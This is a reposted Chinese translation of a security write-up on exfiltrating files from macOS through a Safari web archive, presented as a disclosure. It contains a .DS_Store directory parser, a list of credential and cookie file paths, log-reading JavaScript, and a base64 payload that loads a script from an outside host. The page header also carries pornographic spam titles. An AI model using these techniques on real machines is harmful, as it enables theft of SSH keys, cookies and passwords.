通常情況下,攻擊者的攻擊流程大致如下:

1. 用戶在" />

国产成人精品无码青草_亚洲国产美女精品久久久久∴_欧美人与鲁交大毛片免费_国产果冻豆传媒麻婆精东

15158846557 在線咨詢 在線咨詢
15158846557 在線咨詢
所在位置: 首頁(yè) > 營(yíng)銷資訊 > 網(wǎng)站運(yùn)營(yíng) > 如何通過(guò)簡(jiǎn)單的網(wǎng)頁(yè)文件從MacOS中盜取文件?

如何通過(guò)簡(jiǎn)單的網(wǎng)頁(yè)文件從MacOS中盜取文件?

時(shí)間:2023-06-08 23:00:01 | 來(lái)源:網(wǎng)站運(yùn)營(yíng)

時(shí)間:2023-06-08 23:00:01 來(lái)源:網(wǎng)站運(yùn)營(yíng)

如何通過(guò)簡(jiǎn)單的網(wǎng)頁(yè)文件從MacOS中盜取文件?:文檔、源碼、ssh密鑰、密碼等等所有的這些文件都可以傳送過(guò)去。不可能嗎?當(dāng)然是可能的。一些常用的瀏覽器可能正在這樣做。

通常情況下,攻擊者的攻擊流程大致如下:

1. 用戶在瀏覽器中打開(kāi)html文件2. 瀏覽器讀取用戶有權(quán)限訪問(wèn)的文件列表。3. 瀏覽器讀取重要文件,并且將他們上傳到攻擊者啟動(dòng)的遠(yuǎn)程服務(wù)器中,這一過(guò)程會(huì)在后臺(tái)進(jìn)行,并且不會(huì)通知用戶。現(xiàn)在我們將這一過(guò)程分成幾個(gè)階段:

階段一:在當(dāng)前用戶計(jì)算機(jī)上收集關(guān)于文件的信息。階段二:讀取文件,將文件上傳到遠(yuǎn)程服務(wù)器上。在階段一中,攻擊者需要得到文件列表。這一步驟不是那么容易解決的,通常來(lái)講,開(kāi)發(fā)者不會(huì)允許html頁(yè)面讀取文件夾內(nèi)容,或者獲取當(dāng)前路徑。猜測(cè)以及嘗試所有可能的路徑也不是一個(gè)好的選擇。雖然一些文件的路徑是通用的,比如~/.ssh/id_rsa,但是大部分文件在不同系統(tǒng)中存放的位置是不同的。

假設(shè)我們已經(jīng)將第一階段中的限制繞過(guò),那么在第二階段攻擊者需要對(duì)瀏覽器的沙箱進(jìn)行逃逸,進(jìn)而對(duì)文件讀取,將其上傳到遠(yuǎn)程服務(wù)器。

得到目錄列表

MacOS不同Windows以及Linux,它具有一個(gè)很有趣的屬性,當(dāng)目錄被訪問(wèn)時(shí),操作系統(tǒng)會(huì)產(chǎn)生隱藏文件:.DS_Store.

這一文件會(huì)保存文件瀏覽會(huì)話信息,包括瀏覽文件窗口的大小以及位置,查看屬性和所選圖標(biāo)等信息。這一文件是自動(dòng)生成的,主要目的是為了快速簡(jiǎn)單的獲取到文件夾信息。

.DS_Store和windows下面的Thumbs.db功能類似,不過(guò).DS_Store中還包含了文件夾以及文件名字。一旦文件夾打開(kāi),.DS_Store.

這就非常有趣了,可以通過(guò)解析.DS_Store文件很容易獲取到文件夾中文件名字。舉個(gè)例子,下方python代碼就可以做到這一點(diǎn):

##!/usr/bin/env pythonfrom ds_store import DSStoreimport jsonpath = ‘/Users/USERNAME/.DS_Store’def parse(file): filelist = [] for i in file: if i.filename!=’.’: filelist.append(i.filename) return list(set(filelist))d=DSStore.open(path, ‘r+’)fileresult=parse(d)print(json.dumps(fileresult))for name in fileresult: try: d = DSStore.open(path + name+ ‘/.DS_Store’, ‘r+’) fileresult = parse(d) all.append(fileresult) print(json.dumps(fileresult)) except: pass將其命名為parse_ds_store.py,執(zhí)行結(jié)果如下:

$ python parse_ds_store.py[“Documents”, “Pictures”, “.idm”, “Desktop”, “Music”, “.oracle_jre_usage”, “Public”, “tmp”, “Parallels”, “MEGA”, “.BurpSuite”, “Downloads”, “.config”, “.cache”, “Applications”, “.bash_sessions”, “Creative Cloud Files”, “PycharmProjects”, “Applications (Parallels)”, “Dropbox”, “Nextcloud”, “.iterm2”, “.Trash”, “Scripts”, “Movies”, “MEGAsync Downloads”, “Soft”, “.local”, “.ssh”, “Library”, “.pgadmin”]可以看到,我已經(jīng)得到我當(dāng)前目錄的文件名,這就意味著,我們可以通過(guò)遞歸訪問(wèn).DS_Store文件獲取我電腦上所有具有權(quán)限的文件目錄結(jié)構(gòu)。
舉個(gè)例子,在電腦當(dāng)前目錄使用這種方法,在~/.DS_Store中,我們得到如下返回:

[“Backups","Soft","Pictures",".ssh"...][然后在Backups文件夾中,我們得到:

[“2017”, “2016”, “2015”, …]進(jìn)而在訪問(wèn)~/Backups/2017/.DS_Store,得到

[“source”, “sql”, “static”, …]以此類推。

有兩點(diǎn)需要提醒:
1.攻擊者需要知道當(dāng)前系統(tǒng)的用戶名稱。
2..DS_Store文件只有當(dāng)用戶有權(quán)限訪問(wèn)這一文件夾時(shí),才會(huì)創(chuàng)建。

如果解決了上述兩個(gè)問(wèn)題,那么我們第一階段攻擊算是成功了。

預(yù)測(cè)有價(jià)值信息的文件路徑

什么是有價(jià)值的信息呢?首先應(yīng)該關(guān)心的是.ssh文件,他存儲(chǔ)了密碼加密系統(tǒng)的密鑰目錄。大致內(nèi)容如下:

~/.ssh/id_rsa;~/.ssh/id_rsa.key;~/.ssh/id_rsa.pub;~/.ssh/known_hosts;~/.ssh/authorized_keys;還有.bash_history,它可以讓攻擊者知道用戶之前執(zhí)行的命令。

存儲(chǔ)cookie文件

現(xiàn)在,我們開(kāi)始找存儲(chǔ)cookie的文件,首先,MacOS會(huì)將賬戶數(shù)據(jù)放在一個(gè)固定地方:

~/Library/Cookies/Cookies.binarycookies~/Library/Cookies/com.apple.Safari.cookiestwitter,Skype以及其他應(yīng)用程序的cookie都可以在這一文件夾中找到。

我們進(jìn)行到這一步時(shí),還可以對(duì)返回HSTS協(xié)議的網(wǎng)站列表進(jìn)行傳輸。

~/Library/Cookies/HSTS.plist另外一個(gè)有用的文件是關(guān)于系統(tǒng)賬戶信息的文件:

~/Library/Accounts/Accounts4.sqlite我們還可以在列表中查找其他有用的東西,可能會(huì)有意外的收獲。

~/Library/Application Support/舉個(gè)例子,我們還可以進(jìn)而找到chrome存儲(chǔ)的登錄數(shù)據(jù)以及cookie:

~/Library/Application Support/Google/Chrome/Default/Login Data~/Library/Application Support/Google/Chrome/Default/Cookies~/Library/Application Support/Google/Chrome/Default/History如果運(yùn)氣好的話,還可以找到ftp/sql客戶端的登錄信息,歷史記錄,以及日志信息。

悄無(wú)聲息的訪問(wèn)用戶文件

已經(jīng)了解到了可以訪問(wèn)到哪些重要的文件,現(xiàn)在讓我們嘗試從safari訪問(wèn)到這些文件吧。

在chrome中,讀取本地文件并不是一件很容易的事情,除非在打開(kāi)chrome中使用--disable-web-security參數(shù)。

Safari同樣也會(huì)警告不能同本地文件一同使用,比如:file://協(xié)議

但是如果文件是從互聯(lián)網(wǎng)上下載的,safari就會(huì)放寬它的驗(yàn)證機(jī)制,因此我們可以使用XHR請(qǐng)求本地文件,進(jìn)而返回文件內(nèi)容:

如果文件存在,那它就會(huì)執(zhí)行成功。
了解了safari這種特性,我們就可以使用絕對(duì)路徑去讀取文件全部信息,然后將其上傳到遠(yuǎn)程服務(wù)端。

但是有一點(diǎn)需要注意,如果我們不知道本機(jī)用戶名,那么我們就無(wú)法得到絕對(duì)路徑。用戶名也是一個(gè)難題,比如在/etc/passwd中并不包含用戶名信息。

要解決這一問(wèn)題,可以通過(guò)查看系統(tǒng)產(chǎn)生的兩個(gè)日志文件:/var/log/system.log和/var/log/install.log.在這兩個(gè)文件中,用戶名是可以被找到的。將文件加載到瀏覽器中,通過(guò)正則表達(dá)式可以對(duì)用戶名進(jìn)行提取。

下方JS代碼就是從日志文件中提取所有用戶名的代碼:

function getUser() { var xhr = new XMLHttpRequest(); try { xhr.open(‘GET’, ‘/var/log/system.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } catch (e) { xhr.open(‘GET’, ‘/var/log/install.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; }}

得到文件

攻擊者通過(guò)文章介紹的第一部分內(nèi)容之后,下一步就是得到這些文件。只是看看它是如何工作的,我們可以創(chuàng)建一個(gè)后端進(jìn)行簡(jiǎn)單的接收文件內(nèi)容以及路徑。如果文件為.DS_Store,我們可以使用進(jìn)一步進(jìn)行補(bǔ)充。

進(jìn)一步優(yōu)化的話,可以利用黑/白名單的機(jī)制防止上傳大文件,或上傳指定類型文件,比如.docx。

但是,系統(tǒng)中如果有其他瀏覽器呢?這會(huì)不會(huì)意味著html文件會(huì)通過(guò)chrome或者opera瀏覽器打開(kāi),降低了攻擊效率呢?

為了避免這類問(wèn)題,我們可以將文件后綴名改為XHTM,這一文件只能由safari打開(kāi)。

XHTM的定義很清晰,是基于XML的JS內(nèi)置網(wǎng)頁(yè)。解釋起來(lái)有點(diǎn)復(fù)雜,它有兩種支持的格式,每種都可以進(jìn)行手動(dòng)偽造:

<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version=”1.0"><dict> <key>WebMainResource</key> <dict> <key>WebResourceData</key> <data> PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj wvYm9keT48L2h0bWw+ </data> <key>WebResourceFrameName</key> <string></string> <key>WebResourceMIMEType</key> <string>text/html</string> <key>WebResourceTextEncodingName</key> <string>UTF-8</string> <key>WebResourceURL</key> <string>file:///</string> </dict></dict></plist>數(shù)據(jù)為Base64頁(yè)面,每行包含59個(gè)符號(hào)

如何解決數(shù)據(jù)來(lái)源問(wèn)題?

默認(rèn)情況下,通過(guò)互聯(lián)網(wǎng)下載的文件都具有執(zhí)行保護(hù):

這就意味著電子郵件中的附件可能不會(huì)執(zhí)行,不過(guò)有個(gè)好消息是,不是所有的下載文件都具有保護(hù)機(jī)制。舉個(gè)例子,MacOS版本的Telegram就沒(méi)有保護(hù)機(jī)制,可以直接執(zhí)行。在一些實(shí)踐之后,我們通過(guò)telegram桌面版本進(jìn)行傳送惡意XHTM,進(jìn)而解除執(zhí)行限制。

這只是一個(gè)簡(jiǎn)單例子,其他類似的情況也是可能的。舉個(gè)例子,你可以通過(guò)一個(gè)裝有家庭照片的U盤進(jìn)行傳播。
如果你想嘗試一下這一例子,你可以在我的github(Bo0oM/Safiler)上找到PoC進(jìn)行實(shí)驗(yàn)。

該怎么辦?

在這個(gè)時(shí)候,作為一個(gè)Safari用戶,你不能做任何事情。顯然,蘋果不認(rèn)為這個(gè)問(wèn)題是安全漏洞。我們還沒(méi)有了解到有補(bǔ)丁來(lái)解決這一問(wèn)題。
所以需要保持警惕,并且非常小心你從互聯(lián)網(wǎng)上下載的文件。唯一要做的就是不要使用Safari瀏覽器。


本文翻譯自:https://lab.wallarm.com/hunting-the-files-34caa0c1496,如若轉(zhuǎn)載,請(qǐng)注明來(lái)源于嘶吼: 如何通過(guò)簡(jiǎn)單的網(wǎng)頁(yè)文件從MacOS中盜取文件? 更多內(nèi)容請(qǐng)關(guān)注“嘶吼專業(yè)版”——Pro4hou

關(guān)鍵詞:文件,通過(guò),簡(jiǎn)單

74
73
25
news

版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。

為了最佳展示效果,本站不支持IE9及以下版本的瀏覽器,建議您使用谷歌Chrome瀏覽器。 點(diǎn)擊下載Chrome瀏覽器
關(guān)閉